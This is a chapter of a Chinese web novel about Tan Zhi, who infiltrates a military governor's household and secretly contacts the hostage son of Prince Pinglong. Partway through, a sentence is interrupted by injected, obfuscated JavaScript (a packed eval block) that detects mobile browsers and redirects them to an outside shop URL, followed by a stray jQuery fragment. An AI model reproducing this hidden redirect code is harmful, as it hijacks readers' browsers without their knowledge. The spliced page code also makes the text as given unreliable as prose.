文趣网 > 其他小说 > 表小姐是来当皇帝的 > 13. 第 13 章
    少年坐在地上,仰头看着谈芷。

    月光把她的轮廓镀了一层银边。青色的裳,散落的发,手里拖着一柄长刀。那双眼睛从高处看着他,黑沉沉的,像草原上没有星月的夜。

    他的喉结滚了一下。低头看了一眼自己空空如也的双手,又抬头看了一眼她手里那柄长刀,脸上扯出一个比哭还难看的笑。

    “姐姐。”他双手合十,语气真诚得像庙里烧香的信徒,“刀下留人。”

    谈芷在他面前站定。将刀尖抬起三寸,贴在他的脖颈上。

    离得近了,她看清了他的长相。黑发深瞳,剑眉星目,是中原人的骨相。十七岁上下,或许更小。嘴角还挂着没擦干净的血渍,十分凄惨狼狈。

    “你说,你为契丹做事。”谈芷的声音不高,却令人生寒。

    “我已经改过自新了。”少年眨眨眼,双手合十,做了一个求饶的姿势。

    “你做了什么。”

    刀刃往他的颈侧贴紧了一分。他没有躲,但喉结又滚了一下。汗珠从额角渗出来,顺着太阳穴往下淌,滴进衣领里。

    “朔方郡是我的家。”谈芷低下头,和他对视。她的语气很平,可刀刃上那股寒意却让人发-抖,“若它因为契丹化为焦土,你是拱了火,还是添了柴。”

    少年张了张嘴,没有发出声音。他的眼珠转了一下,像是在找什么可以说的东西,又像是在找一个可以逃的方向。

    然后那瞳孔慢慢散开,眼白往上翻,整个人忽然像被抽掉了骨头一样往后倒了下去。后脑勺磕在黄土地上,发出沉闷的一声响。

    谈芷握刀的手没有动。她等了两息,用脚尖踢了踢他的小腿。少年的腿软塌塌地晃了一下,没有任何反应。

    真晕了。

    谈芷皱了皱眉。她还没来得及想更多,远处传来了脚步声和说话声。

    “五哥是有过错,可他的妹妹被契丹人害了,他对契丹人恨之入骨,一时冲动也情有可原。”一个清朗的声音说,语气带着几分说不上是责备还是理解的含糊。

    “他是义父要保的人,这次供出内奸又立了功。”另一个声音响起,比前一个更稳重,更低沉,“义父让他活十日,五哥若是越过义父,让他五日就死,义父饶不了他。”

    谈芷迅速扫了一眼四周,无处可躲。

    她把长刀往黄沙里一埋,踢了一脚沙子掩住刀身,蹲下身,装作查看少年的伤势。

    说话的二人走进了演武场。

    走在前面的是一个身形修长的男子,二十出头的年纪,穿一身藏蓝色的锦袍,腰间挂着一块玉牌,面相周正,气韵沉稳。

    走在后面的是一个个头稍矮的少年,十六七岁,面容白净清秀,穿一身赭黄-色的锦袍。

    两人的目光一起落在蹲在少年身边的谈芷身上。

    “两位哥哥。”谈芷抬起头,脸上带着三分惊慌三分释然,声音微微发颤,“我今日才入府,方才迷了路,走到这里,发现他倒在地上,正不知如何是好……”

    “你们来了就好了,快看看他。”

    那个稳重男人看了她一眼,又看了一眼躺在地上昏迷不醒的少年,蹲下身探了探他的鼻息。

    “还有气。”他站起身,对身后那个白净少年说,“十三弟,夜深了,你把这位姑娘送回去。这里交给我。”

    十三。

    谈芷的心头跳了一下。她的目光在那个白净少年的脸上停了一瞬,随即垂下了眼。

    她谢过那位稳重男人,跟着十三走出了演武场。

    穿过月洞门,穿过枯黄的草地,走进了一条窄长的甬道。

    十三走在前面,手里提着一盏油灯,灯光在他的背影上晃来晃去。

    他的个头不算太高,肩膀还有些单薄,走路的时候脊背挺得笔直,是那种从小被人教着怎么站、怎么走的孩子。

    郑怀瑾告诉她,平陇王送到节度使府为质的幼子,正是赵延度的第十三义子。

    也就是此人。

    谈芷走在他身后,保持着两步的距离。甬道里很安静,只有两个人的脚步声和灯焰轻微的噼啪声。

    她看着他的背影,脑子里在飞快地转动。接近-平陇王的儿子,让他向父亲传信驰援朔方郡,这就是她设法进节度使府的真正目的。

    郑怀瑾去平陇是一步棋,她留在节度使府是另一步棋。

    “平陇王近来如何。”她忽然开口,语气随意,像是在甬道里走着走着随口问了一句故人。

    十三的脚步顿了一瞬。只是一瞬,他继续往前走,头也没回,声音不大,却带着一种被规训过的克制。

    “安好。”

    “王爷对家父有提携之恩。若有机会,我定替家父登门拜访。”谈芷斟酌着说。

    十三没有立刻接话。他提着灯,走了几步,然后说了一句话。声音很轻,像是从喉咙深处一个字一个字挤出来的。

    “谈将军,为国尽忠。”

    谈芷的心落了地。

    他知道她是谁。知道她是谈孟的女儿。而且愿意在夜深人静的甬道里亲口说出来,说明他对她并不是浮于表面的寒暄。

    甬道尽头是一条岔路口。往左是丁字院的方向,往右是另一条更僻静的小径。

    谈芷朝那条小径偏了一步。十三看了她一眼,没有问为什么,只是提着灯跟上了。

    他们走到僻静无人处,停在一道矮墙外面。墙头上露出一棵巨大的树冠,遮住了半边天。

    大槐树。那座阿九说过的、死过人的院子。

    “小王爷。”谈芷转过身,站在矮墙的阴影下,月光照不到她的脸,“朔方郡还没有破。”

    十三的瞳孔猛地收缩了一下。他张了张嘴,声音有些发紧:“十余日前,赵大人便已明发邸报,说朔方郡破,全城戒严。”

    “我自然知道。”谈芷说,语气沉稳,“所以我没去找赵大人,我来找你。”

    十三看着她,脸上惊疑不定。他的眼神里有震惊,有困惑,还有一种被什么东西击中了心口的钝痛。他握着灯杆的手指收紧了,指节泛白。

    “小王爷……”

    谈芷刚要往下说,不远处忽然传来一阵脚步声。是一个女人的脚步,拖拖沓沓的,像是被什么人推着走。

    谈芷和十三同时噤声。十三一口吹灭了手中的灯,两个人屏住呼吸,藏进了矮墙转角处的阴影里。

    脚步声近了。一个穿深色褙子的嬷嬷,年纪不小了,面容却比静嬷嬷温和得多。

    她手里提着一盏灯,一旁是一个年轻的女子。那女子穿着一身罗裙,面容生得极美,只是此刻脸上满是泪痕。

    她被推着往那座有大槐树的院子走去,脚步踉跄,几回回头又被扭了回来。

    “七姑娘,你入府也一年了。近来做了出格的事,府里的规矩也该让你知道。”嬷嬷的声音不高不低,语气倒不算凶,却有一种让人不寒而栗的温和。

    “惠嬷嬷,我和十二,异父异母,也并未逾矩。”七姑娘的声音发着抖,“不过是聊些诗词歌赋,何错之有。”

    “异父?”惠嬷嬷轻轻叹了口气,语气像是在教导一个不懂事的孩子,“这样的话以后不要再说。大人就是你们的父。你罔顾人伦,无媒苟合,受了鞭刑,竟然还执迷不悟。”

    她停住脚步,转过身看着七姑娘。灯光从下巴往上照,把她布满皱纹的脸照得阴晴不定。

    “你可知,按家法,你是要被浸猪笼的。”

    七姑娘的脸色刷地白了。她的嘴唇哆嗦着,眼泪又涌了出来。“求嬷嬷开恩。”

    她伸手去抓惠嬷嬷的衣角,手被拨开了。

    惠嬷嬷走到那座大槐树院子的门前。

    门上挂着一把锈迹斑斑的铁锁,锁链缠了好几圈。她从袖中摸出一把钥匙,插-进锁孔,转动的时候锁簧发出咔咔的声响。

    “这院子的传

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656364|206985||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    闻,想必你也知道一些。”惠嬷嬷的声音在夜色里忽然变得又轻又慢,像是在说一个她从没告诉过任何人的秘密,“我今日便告诉你。大姑娘,正是死在这院子里。”

    七姑娘往后缩了一步。

    “她死的时候一胎两命,所以这院子啊,阴气重。”

    门开了。院子里的黑暗像一张嘴一样张着,什么都看不见,只闻到一股潮湿的土腥气和枯叶腐烂的味道。风从院子里吹出来,凉得钻骨头。

    “七姑娘,你很像当年的大姑娘。”惠嬷嬷说,“老奴奉劝你,不要重蹈大姑娘的覆辙。”

    “你去吧。蒙上眼,在里面好好待一-夜,反省自己的错处。”惠嬷嬷从袖中抽出一条白色的布带,系在七姑娘的眼睛上,“记住,不要摘下蒙眼布。听到任何动静,遭遇任何事,都不要睁开眼。”

    “那都是鬼魂迷惑你的幻境。”

    七姑娘开始发-抖。她浑身都在抖,膝盖软得几乎站不住。她猛地转身,抓住惠嬷嬷的袖子,哭得撕心裂肺。

    “嬷嬷!惠嬷嬷!我错了!我再也不敢了!你让我回去吧!我去跪祠堂!去领鞭子!去哪里都行!你让我回去吧!”

    惠嬷嬷掰开她的手指,一根一根地,不急不缓。然后将她推进了那扇黑洞洞的门里。

    “一定要记住,不能睁开眼。不然,你会被拽入鬼门关,永世不得超生。”

    门关上了。铁锁重新挂上去,锁链哗啦啦地缠紧。惠嬷嬷提着灯,头也不回地走了。

    黑暗里只剩下七姑娘压抑的哭声,从那扇门缝里挤出来,又细又碎。

    十三从阴影里直起身来,脸色有些发白。

    “走。”他压低声音说。

    谈芷没有动。

    她站在矮墙的阴影下,月光将她半边脸照亮。她捏着袖中那颗桃木珠,指尖在符咒的纹路上慢慢摩挲。

    “小王爷,有些事适合在这里说。”

    十三看着她,又看了看那座黑漆漆的院子。鬼哭声呜呜咽咽地响着,不知道是风声还是女人的哭声。他的喉结上下滚了一下。

    谈芷往前迈了一步,离他很近,声音压得极低。

    “赵大人司马昭之心,昭然若揭。他想夺的……”

    她顿了一下,直视着十三的眼睛。

    “……是你们裴姓江山。”

    十三的脸色在月光下唰地白了。他的瞳孔剧烈地收缩,嘴唇张开又闭上,喉咙里发出一个短促的、被卡住的声音。

    恰在此时,院子里忽然传出女子的惊叫声。那声音又尖又利,像一把刀子刺破夜空。

    十三浑身一颤,喉咙里的惊叫刚要脱口而出,谈芷猛地抬手死死捂住他的嘴。

    她的手掌紧贴着他的口鼻,另一只手扣住他的肩膀,将他的后背按在墙壁上。他挣扎了两下,眼白往上翻,整个人忽然软了下去。

    谈芷愣了一下,低头看着他瘫软在地上的身体。她掐住他的人中,用力按下去。片刻后,十三的眼皮颤了颤,缓缓睁开。

    他躺在地上,仰面看着站在他面前的谈芷。月光从她的背后照下来,她的脸藏在阴影里,看不清表情。只有那双眼睛亮着。

    十三慢慢坐起来,又慢慢站起来。他拍了拍身上的土,低着头,半晌说了一句话。

    “谈姑娘,夜深了。明日再说。”

    约好明日相见的时辰地点之后,他走了。脚步有些踉跄,背影有些仓皇。那盏灯被吹灭了,他没有再点燃,就那么在黑暗里深一脚浅一脚地走远了。

    谈芷站在原地,看着他的背影消失在甬道尽头。

    院子里又响起了哭声。这次不是惊叫,是那种低低的、断断续续的、被压抑了太久的呜咽。谈芷转头看向那扇紧闭的门。

    门上的铁锁在月光下泛着冷光,大槐树的枯枝从墙头伸出来,在夜风里张牙舞爪。

    她捏了捏袖中的桃木珠,朝那扇门走了过去。